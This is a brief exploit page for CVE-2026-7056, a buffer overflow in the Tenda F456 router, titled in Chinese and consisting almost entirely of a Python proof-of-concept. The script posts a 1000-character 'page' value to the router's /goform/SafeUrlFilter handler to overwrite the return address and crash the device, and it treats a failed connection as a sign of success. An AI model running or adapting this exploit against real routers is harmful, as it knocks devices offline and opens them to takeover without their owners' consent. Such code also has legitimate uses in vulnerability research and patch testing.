CVE-2026-7056 Tenda F456缓冲区溢出漏洞

import requests # Target IP address of the vulnerable Tenda F456 router target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/SafeUrlFilter" # Payload to trigger the buffer overflow in the 'page' parameter # Sending a large string of 'A's to overwrite the return address payload = { "page": "A" * 1000 } try: print(f"Sending exploit payload to {url}...") response = requests.post(url, data=payload, timeout=5) # Check if the device responded or crashed (no response usually means crash) if response.status_code == 200: print("Request sent, check device status for potential exploitation.") else: print(f"Received status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Connection error (device likely crashed): {e}")